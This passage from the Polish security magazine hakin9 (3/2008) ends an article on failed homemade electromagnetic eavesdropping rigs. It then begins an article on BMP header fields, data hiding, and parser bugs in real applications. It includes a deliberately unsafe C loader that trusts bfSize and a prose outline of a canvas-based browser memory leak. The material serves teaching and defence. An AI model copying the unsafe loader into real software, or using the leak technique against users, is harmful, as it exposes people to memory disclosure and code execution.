rzystać  do  tego  celu,  są  dostępne 
w każdym lub prawie każdym sklepie 
z podzespołami elektronicznymi.

Dodatkowo  będziemy  potrzebo-

wali  kilku  rezystorów,  kondensatorów 
i diod. Przeszukując sklepy natrafiłem 
na układ ADC0804, niedrogi, spełnia-
jący wymogi projektu i posiadający od-
powiednie  parametry  elektryczno-lo-
giczne. Na Rysunku 7. przedstawiam 
schemat  układu,  który  zbudowałem, 
korzystając  z  informacji  zawartych 
w nocie aplikacyjnej układu ADC0804 
i kilku innych rozwiązań wykorzystują-
cych ten przetwornik.

Po  zmontowaniu  elektronicznej 

części  układu  przystąpiłem  do  połą-
czenia  wszystkich  elementów  zesta-
wu podsłuchowego – tak, jak widać na 
Rysunku 5.

Program  eckbox  po  skompilowa-

niu  (wraz  z  odpowiednimi  bibliote-
kami – svgalib oraz modułem svga-
lib_helper)  uruchamia  się,  począt-
kowo  wyświetlając  tylko  czarny 
ekran. Po chwili, gdy zaczyna dzia-
łać przetwornik A/C, na ekranie po-
jawiają  się  przesuwające  się  po-
ziome  linie  –  co  przedstawia  Ry-
sunek 8. 

Urządzenie nie wyświetla tego, 

na  co  oczekiwałem,  ponieważ  za-
stosowany  układ  ADC0804  prze-
nosi  sygnały  o  częstotliwościach 
do  10  kHz.  Przeoczyłem  ten  waż-
ny  parametr  podczas  wyszukiwa-
nia  odpowiedniego  układu.  Ponie-
waż  w  technice  nieinwazyjnej  za-
kładamy,  że  nie  mamy  możliwości 
wymuszenia  częstotliwości,  na  ja-
kiej  monitor  emituje  sygnał,  musi-
my  próbować  odebrać  go  na  czę-
stotliwościach, na których jest emi-
towany przez podzespoły kompute-
ra lub na częstotliwościach harmo-
nicznych  (założyłem  zakres  od  10 
do 30 MHz).

Zbudowałem  więc  kolejny  eg-

zemplarz oparty o układ ADC, mo-

gący  pracować  z  częstotliwościa-
mi  sygnału  wejściowego  rzędu  18 
Mhz,  który  teoretycznie  powinien 
się sprawdzić lepiej – czyli HI1175 
firmy Intersil. Niestety, okazało się, 
że to także nie pozwala na odebra-
nie sygnału. Zgodnie z informacja-
mi ze strony projektu Eckbox, układ 
powinien  działać  na  częstotliwości 
pasma radiowego FM 108MHz.

Taka częstotliwość sugeruje, że 

program został napisany tak, by od-
bierać sygnał emitowany przez Pi-
xelClock  w  kartach  graficznych. 
Dość  trudne  jest  zdobycie  ukła-
du  ADC  pracującego  z  sygnałami 
wejściowymi  o  takich  częstotliwo-
ściach.

Licząc,  że  uda  mi  się  podsłu-

chać coś na częstotliwościach har-
monicznych,  postanowiłem  naj-
pierw  zbudować  kolejne  ukła-
dy,  umożliwiające  pracę  na  wyż-
szych  częstotliwościach.  Kolejne 
urządzenie,  zbudowane  w  oparciu 
o  układ  HI2302  (także  firmy  Inter-
sil), podczas pierwszych testów nie 
chciało działać – czego przyczyną 
okazało  się  zaniżone  napięcie  za-
silające. Ponieważ urządzenie jest 
zasilane z szyny USB, szybko zna-
lazłem przyczynę tej sytuacji. Oka-
zał  się  nią  zewnętrzny  dysk  twar-
dy podłączony do komputera, który 

R

E

K

L

A

M

A

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

28

pobierając  prąd  rzędu  500mA  (czyli 
maksymalny  możliwy  według  specy-
fikacji USB) powodował spadki napię-
cia. Po odłączeniu dysku napięcie na 
szynie  USB  wróciło  do  poziomu  5V, 
a urządzenie zaczęło pracować.

Niestety, nie powiodło mi się rów-

nież  tym  razem.  Układ  teoretycz-
nie pozwala na odbieranie sygnałów 
o  częstotliwości  100MHz.  Program 
Eckbox, pomimo tego, że wyświetlał 
zmieniające się w czasie obrazy skła-
dające się z linii poziomych.

Brak  pozytywnego  wyniku  działa-

nia urządzenia i programu Eckbox wca-

le nie spowodował w moim przypadku 
zmiany zdania na temat problemu ulotu 
elektromagnetycznego i zagrożeń bez-
pieczeństwa z nim związanych.

Powodem  niepowodzenia  mogą 

być  zarówno  błędy  w  projektowaniu 

urządzenia,  jak  i  sam  program,  któ-
ry  ostatnich  poprawek  doczekał  się 
w  roku  jego  powstania  (2004).  Od 
tamtego czasu na stronie projektu nic 
się nie dzieje. Być może ktoś już pró-
bował zbudować to urządzenie wcze-
śniej, jednak nie natknąłem się na śla-
dy informacji o działającym egzempla-
rzu. Jeżeli jest ktoś, kto wykonał taki 
aparat, chętnie skorzystam z jego wie-
dzy – o ile zechce się nią podzielić. 

Podsumowanie

Po analizie pokaźnych zasobów infor-
macji  na  temat  ulotu  elektromagne-
tycznego,  znajdujących  się  między 
innymi w Internecie, oraz po przepro-
wadzonych  testach  programów  Erika 
Thiele i Berke Duraka uważam, że pro-
blem emisji ujawniającej jest kwestią, 
której nie można pomijać przy tworze-
niu polityk bezpieczeństwa w firmach 
i  instytucjach  przetwarzających  waż-
ne, często tajne dane. Choć w tym ar-
tykule opisałem możliwość odbierania 
sygnałów  nadawanych  z  premedyta-
cją – i to na niewielkie odległości, nie 
można  lekceważyć  istoty  problemu, 
która może w wielu przypadkach sta-
nowić o wycieku bardzo cennych da-
nych.  Nieudana  próba  podsłuchania 
emisji ujawniającej przy pomocy pro-
stych  w  budowie  urządzeń  nie  prze-
czy  temu,  że  sam  fakt  takiego  pod-
słuchu  jest  możliwy.  Przy  odpowied-
nio dużym nakładzie pracy oraz zasto-
sowaniu profesjonalnego sprzętu z du-
żym  prawdopodobieństwem  pozwo-
li nam to na skonstruowanie urządze-
nia, które będzie działało tak samo do-
brze, jak urządzenie Wima van Ecka 
(lub nawet lepiej). Mam nadzieję, że po 
przeczytaniu tego artykułu wielu admi-
nistratorów podejdzie do zagadnienia 
podsłuchu elektromagnetycznego tak 
samo poważnie, jak do innych proble-
mów związanych z bezpieczeństwem 
systemów informatycznych. l

Rysunek 9. 

Obraz odbierany przez kolejny układ (HI2302)

O autorze

Autor, Grzegorz Błoński, z wykształcenia jest informatykiem. Pracuje w dużej firmie pro-
dukcyjnej o zasięgu światowym. Zajmuje się administracją i bezpieczeństwem sieciowym. 
Należy do międzynarodowych organizacji ISOC oraz ISACA, zajmujących się szeroko po-
jętym bezpieczeństwem IT.
Kontakt: mancymonek@mancymonek.pl

Rysunek 8. 

Wynik pracy urządzenia i programu Eckbox 

background image

hakin9 Nr 3/2008

30

Atak

N

iniejszy  artykuł  ma  na  celu  zapoznać 
czytelnika  z  formatem  przechowywa-
nia obrazu BMP, wskazać w nich miej-

sca które można wykorzystać do przemycenia 
ukrytych danych, miejsca w których programi-
sta może popełnić błąd podczas implementacji 
oraz  zapoznać  ze  samym  formatem.  Przykła-
dy będą w miarę możliwości zilustrowane pew-
nymi  bugami  w  istniejącym  oprogramowaniu, 
znalezionymi przez autora oraz inne osoby.

Wstęp do BMP

Niesławny  format  BMP  znany  jest  przede 
wszystkim  z  plików  o  ogromnych  wielkościach 
(w porównaniu do JPEG czy PNG). Format ten 
stworzony został przez firmy IBM oraz Microsoft 
na potrzeby systemów OS/2 oraz Windows, obie 
firmy rozwijały go jednak oddzielnie, co spowo-
dowało powstanie kilku wariantów tego formatu. 
Niniejszy tekst skupia się na BMP w wersji Win-
dows V3, pozostałe wersje (OS/2 V1 i V2 oraz 
Windows V4 i V5) pozostawiam czytelnikowi do 
własnej analizy jako zadanie domowe :).

Niezależnie  od  wersji,  ogólna  budowa  pli-

ku, przedstawiona na Rysunku 1. pozostaje ta-
ka sama. Na samym początku pliku znajduje się 
struktura BITMAPFILEHEADER (jest ona stała, 

niezależnie od wersji) która zawiera m.in. iden-
tyfikator pliku – tzw. liczbę magiczną (ang. ma-
gic number
), oraz offset na którym znajdują się 
dane  bitmapy.  Bezpośrednio  po  BITMAPFILE-
HEADER
, na offsecie 0Eh, znajduje się struktu-
ra  BITMAPINFOHEADER  (dodam  że  deklara-
cje omawianych struktur można znaleźć w pliku 
wingdi.h w Platform SDK), która zawiera infor-
macje o obrazie, jego rozdzielczości, głębi ko-
lorów  czy  użytej  metody  kodowania/kompresji. 
W przypadku bitmap o głębi 4 lub 8 bitów, za-
raz  za  strukturą  BITMAPINFOHEADER  znaj-

Format BMP okiem hakera

Michał Gynvael Coldwind Składnikiewicz

stopień trudności

Pliki graficzne są dziś szeroko rozpowszechnionym nośnikiem 

informacji, spotyka się je praktycznie na każdym komputerze. 

Dobry programista powinien wiedzieć jak wyglądają nagłówki 

poszczególnych formatów plików graficznych, i jak są 

przechowywany jest sam obraz. A jak to zwykle bywa, diabeł tkwi 

w szczegółach.

Z artykułu dowiesz się

•   jak zbudowany jest plik BMP,
•   na  co  uważać  podczas  implementowania  ob-

sługi formatu BMP,

•   gdzie szukać błędów w aplikacjach korzystają-

cych z BMP.

Co powinieneś wiedzieć

•   mieć ogólne pojęcie na temat plików binarnych,
•   mieć ogólne pojęcie na temat bitmap.

background image

Format BMP okiem hakera

hakin9 Nr 3/2008

www.hakin9.org

31

duje  się  paleta  barw,  którą  jest  od-
powiedniej  wielkości  tablica  struktur 
RGBQUAD.  W  przypadku  bitmap  o 
głębi kolorów 16 bitów zamiast palety 
barw w tym miejscu znajduję się pro-
sta struktura składająca się z trzech 
DWORD'ów  które  są  maskami  bito-
wymi  określającymi  które  bity  w  da-
nych  obrazu  odpowiadają  za  barwę, 
kolejno,  czerwoną,  zieloną  oraz  nie-
bieską, natomiast w bitmapach, o głę-
bi 24 bity lub większejm paleta barw 
nie  występuje.  Dane  obrazu  zaczy-
nają się na offsecie podanym w BIT-
MAPFILEHEADER
,  zazwyczaj  od 
razu po ostatnim nagłówku. Budowa 
danych zależy za równo od użytego 
kodowania jak i głębi kolorów.

Tak przedstawia się ogólna budo-

wa formatu BMP. Szczegółowa budo-
wa formatu BMP przedstawiona jest 
w dalszej części artykułu.

Nagłówek 

BITMAPFILEHEADER

Nagłówek 

BITMAPFILEHEADER 

(patrz  Tabela  1)  rozpoczyna  się  na 
początku pliku (offset 0) i ma wielkość 
14 bajtów (0Eh). Najmniej interesują-
cym polem struktury jest pierwsze po-
le – bfType, które zawsze ma wartość 
odpowiadającą  ciągowi  ASCII  BM
Kolejnym  polem  jest  DWORD  bfSi-
ze
 w którym wg. specyfikacji powinna 
znaleźć  się  całkowita  wielkość  pliku 
w bajtach. Wielkość pliku prawidłowe-
go pliku łatwo obliczyć dodając wiel-
kości  poszczególnych  nagłówków, 
palety barw oraz danych obrazu. To 
pole stanowi pierwszą pułapkę, ale w 
nią  wpadają  jedynie  nieuważni  pro-
gramiści. Rozważmy kod z Listingu 1. 
- programista wczytał nagłówek, za-
ufał polu bfSize i zaalokował tyle pa-

mięci ile wg. bfSize jest potrzebne, po 
czym  wczytał  cały  plik  (aż  do  koń-
ca) do zaalokowanego bufora. Funk-
cja  działa  wyśmienicie,  pod  warun-
kiem że wartość bfSize jest równa lub 
większa od faktycznej wielkości pliku. 
Jeśli wartość bfSize będzie mniejsza, 
dojdzie  do  klasycznego  błędu  prze-
pełnienia  bufora  –  który  wprawny 
włamywacz mógł by wykorzystać do 
wykonania  własnego  kodu.  Dobrym 
pomysłem jest zignorowanie wartości 
tego pola, i korzystanie jedynie z wiel-
kości pliku otrzymanej od systemu pli-
ków.  Stanowcza  większość  aplikacji 
faktycznie ignoruje to pole, co z kolei 
pozwala wykorzystać je w celu ukry-
cia 32 bitów danych.

Dwa  kolejne  pola  –  bfReserved1 

oraz bfReserved2 – według specyfi-
kacji  powinny  być  wyzerowane,  po-
nieważ  są  zarezerwowane  na  przy-
szłość.  Póki  co  są  jednak  niewyko-
rzystywane, więc mogą posłużyć do 
ukrycia  kolejnych  32  bitów  danych 
(oba  pola  są  WORDami,  czyli  mają 
po 16 bitów każde). Warto zaznaczyć 
iż  żadna  z  testowanych  przez  auto-
ra aplikacji nie sprawdzała czy w w/w 
polach faktycznie znajdują się zera.

Ostatnie pole stanowi kolejną pu-

łapkę.  Pole  bfOffBits,  bo  o  nim  mo-
wa, jest 32 bitową wartością bez zna-
ku  (DWORD,  czyli  w  terminologii  C 
jest to unsigned int) która mówi o tym 
w którym miejscu pliku (a dokładniej, 
od którego bajtu pliku) zaczynają się 
faktyczne dane obrazu. Zdarzają się 
przypadki w których to pole jest wy-
zerowane – część aplikacji w tym wy-
padku uznaje że dane obrazu znajdu-
ją  się  bezpośrednio  za  nagłówkami. 
Programista  implementujący  obsłu-
gę BMP może popełnić kilka błędów. 

Na  początek  najbardziej  trywialny 
– programista z góry zakłada że da-
ne obrazu znajdują się za nagłówka-
mi i ignoruje pole bfOffBits – tak dzia-
ło  się  w  przypadku  starszych  wersji 
Total Commander (na przykład 6.51, 
wersje nowsze, na przykład 7.01 nie 
ignorują  już  tego  pola).  Pomijając 
problemy  z  wyświetlaniem  prawidło-
wych  bitmap  które  mają  dane  obra-
zu odsunięte od nagłówków, pozwa-
la to na przykład stworzyć plik BMP 
który  wyświetlany  w  Total  Comman-
derze  będzie  prezentował  inną  gra-
fikę niż gdyby ten tam plik BMP po-
dać  innej,  prawidłowo  obsługującej 
pole bfOffBits, aplikacji. Taki właśnie 
efekt zaprezentowany jest na Rysun-
ku 2. (użyte grafiki pochodzą z http:
//icanhascheezburger.com
),  dla  uka-
zania efektu ten sam plik BMP poda-
no Listerowi (część Total Commande-
ra odpowiedzialna za podgląd plików) 
oraz  IrfanView  4.10.  Należy  zazna-
czyć iż plik jest oczywiście dwa razy 
większy  niż  byłby  normalnie  (ponie-
waż zawiera dwa obrazki).

Drugim  błędem  który  programi-

sta  może  popełnić  jest  założenie  że 
polu bfOffBits można zaufać i będzie 
ono na pewno mniejsze od wielkości 
pliku, a tym bardziej dodatnie (jak pi-
sałem wcześniej jest to DWORD, czy-
li liczbą bez znaku, ale należy pamię-
tać że suma dwóch liczb 32 bitowych 

Tabela 1. 

Struktura BITMAPFILEHEADER

Typ i nazwa pola

Opis

WORD bfType

Identyfikator BMP, zazwyczaj lite-
ry „BM”

DWORD bfSize

Całkowita wielkość pliku

WORD bfReserved1

Zarezerwowane, zaleca się nadanie 
wartości 0

WORD bfReserved2

Zarezerwowane, zaleca się nadanie 
wartości 0

DWORD bfOffBits

Pozycja (offset) danych w pliku

Rysunek 1. 

Budowa pliku BMP

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

32

jest  nadal  liczbą  32  bitową,  czyli  nie 
ma tak na prawdę różnicy czy jest to 
DWORD  czy  SDWORD  jeśli  nastą-
pi  integer  overflow).  Tego  typu  błąd, 
niegroźny  –  ale  jednak,  występuje 
w Microsoft Paint do wersji 5.1 włącz-
nie (czyli tej dołączonej do Microsoft 
Windows  XP  SP2,  wersja  6.0,  dołą-
czona  do  Microsoft  Windows  Vista, 
została  poprawiona).  Przykładowe 
wykorzystanie  widać  na  Rysunku  3. 
Zestawiono na nim aplikację Microsoft 
Paint oraz IrfanView, które wyświetla-
ją ten sam plik BMP. Jak można do-
myślić się z rysunku IrfanView posta-
nowił zignorować błędnie wypełnione 
pole bfOffBits i uznał że dane obrazu 
znajdują się bezpośrednio za nagłów-
kami, natomiast mspaint.exe wykonał 
operacje WyświetlBitmapę(Początek-
Danych + bfOffBits), co poskutkowa-
ło  wyświetleniem  fragmentu  pamięci 
należącej  do  aplikacji.  Należy  dodać 
że  w  wypadku  gdy  PoczątekDanych 
+  bfOffBits  wskazuje  na  nieistnieją-
cy  fragment  pamięci,  zostaje  rzuco-
ny wyjątek (Naruszenie Ochrony Pod-
czas Odczytu, ang. Read Access Vio-
lation
),  w  wypadku  mspaint.exe  jest 
on  jednak  obsługiwany.  Należy  za-
uważyć iż jeżeli tego typu błąd wystą-
pił  by  w  aplikacji  posiadającej  w  pa-
mięci wrażliwe dane, to sprawny so-
cjotechnik  mógł  by  z  powodzeniem 
wydobyć  od  nieświadomego  użyt-
kownika  zrzut  ekranu  na  którym  wi-
dać źle wyświetlaną bitmapę która tak 
na prawdę przedstawiała by fragment 
pamięci na przykład z hasłem i logi-
nem danego użytkownika.

Warto  zauważyć  iż  odsunięcie 

danych  od  nagłówków  stwarza  do-
wolną ilość miejsca na ukrycie ewen-
tualnych dodatkowych danych.

Podsumowując  strukturę  BIT-

MAPFILEHEADER, są tu dwa miej-
sca w których programista może po-
pełnić błąd, a także 64 bity (8 bajtów) 
w samym nagłówku, w których moż-
na zapisać (ukryć) dodatkowe dane.

Nagłówek 

BITMAPINFOHEADER

Drugim  z  kolei  nagłówkiem  plików 
BMP w wersji Windows V3 jest BIT-
MAPINFOHEADER,  struktura  skła-
dająca się z 11 pól o łącznej długości 
40 bajtów (28h), rozpoczynająca się 
od offsetu 0Eh

Pierwsze pole – biSize – określa 

wielkość  niniejszego  nagłówka,  po 
tej wielkości aplikacje rozpoznają czy 
nagłówkiem  jest  faktycznie  BITMA-
PINFOHEADER
, i czy plik BMP jest 
na pewno wersją Windows V3 forma-
tu  BMP.  Prawidłową  wartością  jest 
oczywiście  40  (28h).  Niektóre  apli-
kacje,  takie  jak  IrfanView  czy  Mozil-
la, przyjmują że plik BMP jest plikiem 
w wersji Windows V3 nawet w wypad-
ku gdy biSize posiada jakąś inną, nie-
znaną,  wartość  –  daje  to  możliwość 
ukrycia kolejnych 32 bitów danych, z 
tym że nie wszystkie programy będą 
potrafiły poradzić sobtie z wyświetle-
niem bitmapy w takim wypadku.

Drugim,  trzecim  oraz  piątym 

z kolei polem są kolejno biWidthbi-
Height
 oraz biBitCount. Są to, jak na-
zwa wskazuje, informacje o szeroko-

ści  bitmapy  (biWidth),  jej  wysokości 
(biHeight)  oraz  głębi  kolorów,  czyli 
ilości  bitów  które  opisują  każdy  ko-
lejny  piksel  (biBitCount).  Wartości 
z  tych  pól  bardzo  często  służą  do 
wyliczenia  całkowitej  ilości  bajtów 
potrzebnej do przechowania bitmapy 
w pamięci. W tym celu implementuje 
się następujące równanie:

PotrzebnaIlośćBajtów = 
Szerokość * Wysokość * (Głębia / 8)

W  przypadku  BMP  szerokość,  czyli 
biWidth,  w  tym  równaniu  zaokrągla-
na jest w górę do najbliższego iloczy-
nu liczby 4 (więcej o tym będzie w pa-
ragrafie Dane obrazu – 

BI _ RGB

), czy-

li jeśli bitmapa na przykład ma szero-
kość  109  pikseli,  to  w  tym  równaniu 
zostanie użyta wartość 112. Tak więc 
to  równanie  w  przypadku  BMP  ma 
następującą postać:

PotrzebnaIlośćBajtów = 
ZaokrąglonaSzerokość * 
Wysokość * (Głębia / 8)

Tak  wyliczona  wartość  używana  jest 
zazwyczaj do alokacji pamięci na po-
trzeby docelowej bitmapy. Jest to jed-
nocześnie  miejsce,  w  którym  istnie-
je  prawdopodobieństwo  błędnej  im-
plementacji.  Załóżmy  na  chwilę  że 
programista założył że  PotrzebnaIlo-
śćBajtów
  jest  wartością  typu  LONG 
lub DWORD (32 bity), a tak się czę-
sto zdarza. Jeżeli wynik równania bę-
dzie  większy  od  FFFFFFFFh,  czy-
li  maksymalnej  liczby  którą  można 
zapisać  w  32  bitowej  zmiennej  typu 
całkowitego/naturalnego,  to  nastą-
pi  przepełnienie  zmiennej  całkowi-
tej  (ang.  Integer  Overflow),  co  z  ko-
lei  może  doprowadzić  do  błędu  ty-
pu przepełnienia bufora. Weźmy pod 
uwagę kod z Listingu 2. Programista 
zaokrągla  szerokość  po  czym  wyli-
cza potrzebną ilość bajtów, a następ-
nie alokuje pamięć i wczytuje wiersz 
po wierszu całą bitmapę do zaaloko-
wanej  pamięci.  Wszystko  wydaje  się 
być w porządku, ale załóżmy na chwi-
lę że otrzymaliśmy bitmapę o wielko-
ści  65536x65536x8,  czyli  szerokość 
i  wysokość  mają  wartość  10000h
Po  podstawieniu  wartości  w  równa-

Tabela 2. 

Struktura BITMAPINFOHEADER

Typ i nazwa pola

Opis

DWORD biSize

Wielkość nagłówka, w tym wypadku 28h

LONG biWidth

Szerokość bitmapy

LONG biHeight

Wysokość bitmapy

WORD biPlanes

Ilość płaszczyzn, przyjęto wartość 1

WORD biBitCount

Ilość bitów na piksel

DWORD biCompression

Rodzaj zastosowanego kodowania/kompresji

DWORD biSizeImage

Wielkość nieskompresowanej bitmapy w pamięci

LONG biXPelsPerMeter

DPI poziome

LONG biYPelsPerMeter

DPI pionowe

DWORD biClrUsed

Użyta ilość kolorów

DWORD biClrImportant

Ilość ważnych kolorów

background image

Format BMP okiem hakera

hakin9 Nr 3/2008

www.hakin9.org

33

niu  na  potrzebną  ilość  bajtów  otrzy-
mamy 10000h * 10000h * (8/8), czy-
li  100000000h.  DWORD  pomieścić 
może  jedynie  najmłodsze  32  bity  tej 
liczby, w związku z czym w zmiennej 
size  zapisane  zostanie  00000000h
czyli  0.  Następnie  dojdzie  do  aloka-
cji  pamięci,  która  zakończy  się  suk-
cesem  (przykładowo  system  Win-
dows  zaalokuje  16  bajtów,  mimo  ze 
malloc dostał 0 w parametrze), a po-
tem  zostanie  w  to  miejsce  wczytane 
65536 wierszy po 65536 pikseli każ-
dy,  czyli  4  GB  danych,  co  spowodu-
je przepełnienie bufora oraz wyrzuce-
nie wyjątku (ang. Write Access Viola-
tion
). W przypadku gdy wyjątek zosta-
nie  obsłużony  prawdopodobnie  bę-
dzie  również  możliwość  wykonania 
kodu, a w wypadku gdy nie zostanie 
obsłużony, aplikacja po prostu zakoń-
czy działanie z odpowiednim komuni-
kacje o błędzie.

Czwartym  z  kolei  polem,  pomi-

niętym wcześniej, jest biPlanes, które 
mówi o ilości płaszczyzn. Przyjęte jest 
że w tym polu powinna być wartość 1. 
Niektóre  programy  ignorują  wartość 
tego pola, przez co możliwe jest ukry-
cie kolejnych 16 bitów danych.

Kolejnym,  szóstym  polem  jest 

biCompression  field.  To  pole  przyj-
muje  pewne  z  góry  ustalone  war-
tości  które  mówią  o  sposobie  ko-
dowania  i  kompresji  użytej  w  przy-
padku  danego  pliku  BMP.  Dostęp-
ne wartości w BMP Windows V3 to 

BI _ RGB  (0)

BI _ RLE8  (1)

BI _ RLE4 

(2)

  oraz 

BI _ BITFIELDS  (3)

.  Kolejne 

wersje formatu BMP zakładają rów-
nież dwie inne wartości: 

BI _ JPEG (4)

 

oraz 

BI _ PNG (5)

. Różne rodzaje ko-

dowanie BMP są omówione w kolej-
nych podpunktach.

Następnym polem jest biSizeIma-

ge określające całkowitą wielkość bit-
mapy  po  ewentualnej  dekompresji 
(jeżeli bitmapa nie jest kompresowa-
na, to pole może być ustawione na 0). 

W przypadku tego pola pułapka wy-
gląda  bardzo  podobnie  jak  w  przy-
padku pola bfSize z BITMAPFILEHE-
ADER
, zaleca się więc zignorowanie 
wartości tego pola. Nieostrożne uży-
cie wartości biSizeImage przy aloka-
cji pamięci, a następnie brak kontro-
li  pozycji  wskaźnika  zapisu  przy  de-
kompresji  może  prowadzić  do  prze-
pełnienia bufora.

Dwa  kolejne  pola  –  biXPelsPer-

Meter oraz biYPelsPerMeter – mówią 
o poziomej i pionowej ilości pikseli przy-
padających na metr (informacja ana-
logiczna do DPI, ang. Dots Per Inch). 
Informacje  te  są  potrzebne  głównie 
w przypadku drukowania danej bitma-
py. Pojawia się tutaj pewna groźba w 
przypadku  implementacji  drukowania 
bitmap – rozdzielczość ta może przy-

jąć bardzo małą wartość (na przykład 
1), i wtedy nawet mała bitmapa może 
zająć  kilkanaście  kartek  A4,  lub  bar-
dzo dużą wartość, przez co cała bit-
mapa będzie wielkości milimetr na mi-
limetr. To pole może zostać wykorzy-
stane również do przechowania pew-
nej informacji (64 bity łącznie), szcze-
gólnie jeśli nie zależy nam na popraw-
ności rozdzielczości drukowanej.

Przedostatnim polem jest biClrU-

sed które mówi o ilości kolorów w pa-
lecie barw. Jeżeli to pole jest wyzero-
wane, przyjmuje się że ilość kolorów 
w  palecie  jest  równa  liczbie  2  pod-
niesionej  do  potęgi  biBitCount  (do 
8  bitów  włącznie),  czyli  na  przykład 
w przypadku 8-bitowej bitmapy przyj-
muje  się  że  paleta  ma  256  kolorów. 
Co  ciekawe,  programiści  mają  ten-
dencje ufać temu polu i zakładać że 
jeżeli biClrUser wynosi na przykład 1, 
to w bitmapie pojawi się jedynie pierw-
szy z kolei kolor, czyli 00. Jeżeli w bit-
mapie pojawi się więcej kolorów pra-
widłowym działaniem powinno być al-
bo wyświetlanie pozostałych kolorów 
jako czarny (czyli wyzerowanie pozo-

Tabela 3. 

Struktura RGBQUAD

Typ i nazwa pola

Opis

BYTE rgbBlue

Wartość barwy niebieskiej

BYTE rgbGreen

Wartość barwy zielonej

BYTE rgbRed

Wartość barwy czerwonej

BYTE rgbReserved

Zarezerwowane

Listing 1. 

Niebezpieczny kod wczytujący bitmapę

void

 

*

ReadBMPtoMemory

(

const

 

char

 

*

name

unsigned

 

int

 

*

size

)

{

   

char

 

*

data

 

=

 

NULL

;

   

BITMAPFILEHEADER

 

bmfh

;

   

FILE

 

*

f

 

=

 

NULL

;

   

size_t

 

ret

 

=

 

0

;

   

/* Otwórz plik */

   

f

 

=

 

fopen

(

name

, „

rb

);

   

if

(!

f

)

 

return

 

NULL

;

   

/* Wczytaj naglowek i zaalokuj pamięć */

   

fread

(&

bmfh

1

sizeof

(

bmfh

));

   

*

size

 

=

 

bmfh

.

bfSize

;

   

data

 

=

 

malloc

(

bmfh

.

bfSize

);

   

if

(!

data

)

 

goto

 

err

;

   

memset

(

data

0

bmfh

.

bfSize

);

   

/* Wczytaj plik */

   

fseek

(

f

0

SEEK_SET

);

   

do

 

{

      

ret

 

+=

 

fread

(

data

 

+

 

ret

1

0x1000

f

);

   

}

 

while

(!

feof

(

f

));

   

/* Powrót */

   

fclose

(

f

);

   

return

 

data

;

    

/* Obsluga bledow */

err

:

   

if

(

f

)

 

fclose

(

f

);

   

if

(

data

)

 

free

(

data

);

   

return

 

NULL

;

}

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

34

stałej części palety), albo wykonanie 
operacji  modulo  (

wyświetlony _ kolor 

=  kolor  %  biClrUsed

). Tak zachowu-

ją się MSPaint, Internet Explorer, czy 
Paint Shop Pro. Bardzo dużo progra-
mów  jednak  rysuje  bitmapę  na  swój 
własny  sposób,  czego  przykład  jest 
przedstawiony na Rysunku 4. W tym 
miejscu  należało  by  się  zaintereso-
wać czemu tak się dzieje, oraz skąd 
się  biorą  pozostałe  kolory  –  ponie-
waż w palecie w pliku BMP

 

zadekla-

rowany został tylko jeden. Odpowiedź 
na to drugie pytanie jest dość prosta 
–  najwyraźniej  programy  alokują  pa-
mięć na pełną paletę kolorów (256 ko-
lorów), po czym wczytują z pliku ca-
łą tam zawartą paletę (1 kolor). Resz-
ta palety, jako że nie była wyzerowa-
na, zawiera w takim przypadku dane 
które znajdowały się wcześniej w pa-
mięci, a konkretniej na stogu (ang. he-
ap
). Drugą możliwa odpowiedź jest ta-
ka że program alokuje paletę o wielko-
ści biClrUsed, a kolory powyżej biCl-
rUsed
 po prostu korzystają z pamię-
ci po za paletą tak jak by to był dalszy 
ciąg  palety  (tzw.  boundary  condition 
error
). W obu przypadkach kolory któ-
re według pola biClrUsed nie powinny 
być używane, są opisane przez dane 
znajdujące się w pamięci. Idąc o krok 
dalej, można stworzyć BMP o wielko-
ści  256x1  w  której  dane  obrazu  bę-
dą kolejnymi kolorami, od 00 do FFh
dzięki temu wyświetlona bitmapa bę-
dzie praktycznie rzecz biorąc skopio-
waną paletą kolorów, czyli na ekranie 
pojawią się, w postaci kolorowych pik-
seli, dane z pamięci. Czy jednak moż-
na  w  jakiś  sposób  przesłać  automa-
tycznie przesłać tą bitmapę do jakie-
goś  zdalnego  serwera?  Okazuje  się 
że w przypadku Firefox 2.0.0.11 oraz 
Opera 9.50 beta jest to możliwe. Obie 

te przeglądarki obsługują wprowadzo-
ny w 

HTML 5 tag <canvas>

, który umoż-

liwia rysowanie po płótnie, kopiowanie 
bitmap z tagów 

<img>

 na płótno, oraz 

odczyt  wartości  kolorów  z  płótna
Możliwe jest więc stworzenie skryptu 
który  wyświetli  odpowiednio  sprepa-
rowany plik BMP a następnie skopiuje 
go na canvas, odczyta wartości kolo-
rów i prześle je na zdalny serwer. Wg. 
badań  przeprowadzonych  przez  au-
tora  dane  przesyłane  na  zdalny  ser-
wer mogą zawierać fragmenty innych 
stron, fragmenty ulubionych, fragmen-
ty historii oraz inne informacje. W mo-
mencie pisania tego artykułu powyż-
sza,  znaleziona  przez  autora,  luka, 
klasyfikowana  jako  Remote  Informa-
tion  Disclosure
,  nie  została  jeszcze 
poprawiona.

Ostatnim  polem  tego  nagłówka 

jest biClrImportant – mówiące o ilości 
istotnych kolorów w bitmapie. Stanow-
cza  większość  aplikacji  ignoruje  jed-
nak to pole, dzięki czemu może ono 
zostać użyte do przechowania 32 bi-
tów danych niezwiązanych z bitmapą.

Podsumowując, w nagłówku BIT-

MAPINFOHEADER znajduje się wie-
le  pól  które  nieuważny  programista 
może potraktować ze zbytnim zaufa-
niem narażając tym samym użytkow-

nika na wyciek informacji a nawet wy-
konanie kodu. Dodatkowo w tym na-
główku  można  ukryć  kolejne  bajty 
informacji  dodatkowych,  niezwiąza-
nych z bitmapą.

Paleta barw

Paleta  barw  jest  tablicą  struktur 
RGBQUAD  (patrz  Tabela  3)  które 
opisują wartość barw, kolejno niebie-
skiej, zielonej i czerwonej, danego ko-
loru. Dodatkowo każda struktura do-
pełniona  jest  jedno  bajtowym  po-
lem rgbReserved, dzięki czemu cała 
struktura ma wielkość 32 bitów (4 baj-
tów). Standard nakazuje aby to ostat-
nie  pole  było  wyzerowane,  jednak 
w rzeczywistości aplikacje nie spraw-
dzają tego. To pole może zostać uży-
te do ukrycia dodatkowych informacji, 
lub do zapisania kanału alfa (w przy-
padku  bitmap  32  bitowych).  Paleta 
barw występuje w przypadku bitmap 
1  (1  bitowa  bitmapa  wcale  nie  musi 
być czarno-biała!), 4 oraz 8 bitowych 
(patrz  pole  biBitCount  z  BITMAPIN-
FOHEADER
). W przypadku tych bit-
map, jeśli pole biClrUsed nie mówi in-
